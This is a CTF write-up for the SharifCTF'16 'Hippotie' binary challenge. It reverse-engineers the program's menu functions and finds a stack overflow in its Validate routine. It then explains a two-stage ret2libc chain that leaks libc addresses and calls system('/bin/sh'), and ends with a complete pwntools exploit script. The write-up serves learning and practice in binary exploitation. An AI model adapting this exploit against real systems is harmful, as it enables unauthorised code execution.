SharifCTF’16 Hippotie Write Up

It had been some time since I played a good CTF. I didn’t really have a lot of time to work on all challenges, but this challenge was a pretty good refreshment.

Running checksec on the binary gives us the following information:

$ checksec

Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

Alright, so no protections other than NX. Great ! Let’s see what this binary is doing.

The binary is a menu driven program that has 5 functionalities Register, Sign in, Pack, Validate, Send and Exit. The binary maintains a structure which kind of looks like this:

struct obj {
obj *next;
char *name;
char *password;
}

A couple of these functionalities have interesting pieces of code in them.

  1. Register :
    1. Reads two strings (name and password) and XOR’s each byte of both strings with the next byte of the same string.
    2. Calls a function with the XOR’d values of name and password strings as arguments.
    3. This function (I’m calling it make) first calls another function that basically checks whether or not the table contains an entry of the same hash value( I’m calling it find_in_table).
    4. If yes, then it proceeds to re-write the password pointer with a new pointer that points to the buffer passed as argument.
    5. If no, it creates an object of required size on the heap, and places pointers to name and password inside the object.
    6. In the end, it copies the value at the table offset into its next pointer and then sets the value at the table offset to itself (Essentially creating a linked list of objects which have the same hash. New elements get added at the beginning).
  2. Sign in :
    1. This function reads in the strings name and password from the user and calls the function find_in_table with the string name read from the user as argument.
    2. If this function returns a valid object, the binary goes on to check whether or not the password entered by the user is the same as the one saved in the object.
    3. If the user input passes both these checks, then a global variable (username) is initialized to the name that we entered and another global variable (logged_in) is set to 1 ( I’m guessing that this is used to denote whether or not someone has signed in ).
    4. What we need to see is that our input is directly being compared to the strings stored in the object which are the results of an XOR operation on each of the strings.
  3. Pack :
    1. This function checks if the value of the global variable logged_in is 1 or not. It proceeds to the pack function only if the above comparison returns true.
    2. In the pack function, the binary goes on to read another string from the user.
    3. It then fetches the object corresponding to the name which is stored in the global variable username.
    4. It then overwrites the password of that object with the string that it just read in from the user.
  4. Validate :
    1. This function again requires that at least 1 user be logged in. It continues only if the comparison of logged_in with 1 returns true.
    2. It then goes on to get a pointer to the object corresponding to the value of the global variable username.
    3. It then copies 0x400 bytes of the password into a stack buffer of size 0x200 (BOOM, overflow).
  5. Send :
    1. All this function does is to call puts with a default string. But we’ll use this later on.

So we know that there’s an overflow, no other protections other than NX. So let’s start with our idea of exploit.

  • Register a user with some small name and password.
  • Sign in with the xor’d values of the same name and password.
  • Use the pack functionality to overwrite the password with a payload.
  • Call validate function to cause stack overflow and get control of RIP.

Now there weren’t enough gadgets to perform a execve(‘/bin/sh’) through system calls. So I resorted to leaking memory addresses. There is a pop rdi gadget which we can use to fill the register RDI with a got table address ( I used the got address of atoi). Now we need to find a function in the binary that calls puts but does not contain a leave instruction at the end. After this I decided to return to the main function to create a second payload.

So using this first payload, we can leak the libc address of atoi and from that we can calculate the address of system and ‘/bin/sh’. Now we can use the pack functionality to change the password again to another payload. This payload is a simple one that use the pop rdi gadget to fill the RDI register with a pointer to ‘/bin/sh’ and then calls system.

And well, that worked. Sad that I couldn’t get it ready during the CTF though. But pretty nice challenge, good job admins !

Here’s the script.

 

from pwn import *

def register(name,password):
	p.sendlineafter("> ","1")
	p.sendlineafter(": ",name)
	p.sendlineafter(": ",password)

def login(name,password):
	p.sendlineafter("> ","2")
	p.sendlineafter(": ",name)
	p.sendlineafter(": ",password)

def pack(payload):
	p.sendlineafter("> ","3")
	p.sendlineafter("?",payload)

def validate():
	p.sendlineafter("> ","4")
	p.recvline()

if __name__ == "__main__":
	g1 = 0x00401483					
	atoi = 0x602818
	leak = 0x40135E
	main = 0x401365

	p = process("hippotie")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

	register("ABBC","ABBC")
	login(chr(0x3),chr(0x3))
	payload = fit({0x218:p64(g1)+p64(atoi)+p64(leak)+"A"*8+p64(main)},length=0x300)
	pack(payload)
	validate()
	libc.address = u64(p.recvline().strip().ljust(8,"\x00")) - libc.symbols['atoi']
	system = libc.symbols['system']
	binsh = libc.search("/bin/sh").next()
	p.sendlineafter(">","3")
	payload = fit({0:chr(0),0x218:p64(g1)+p64(binsh)+p64(system)},length=0x300)
	p.sendlineafter("?",payload)
	p.sendlineafter(">","4")
	p.recvline()
	p.interactive()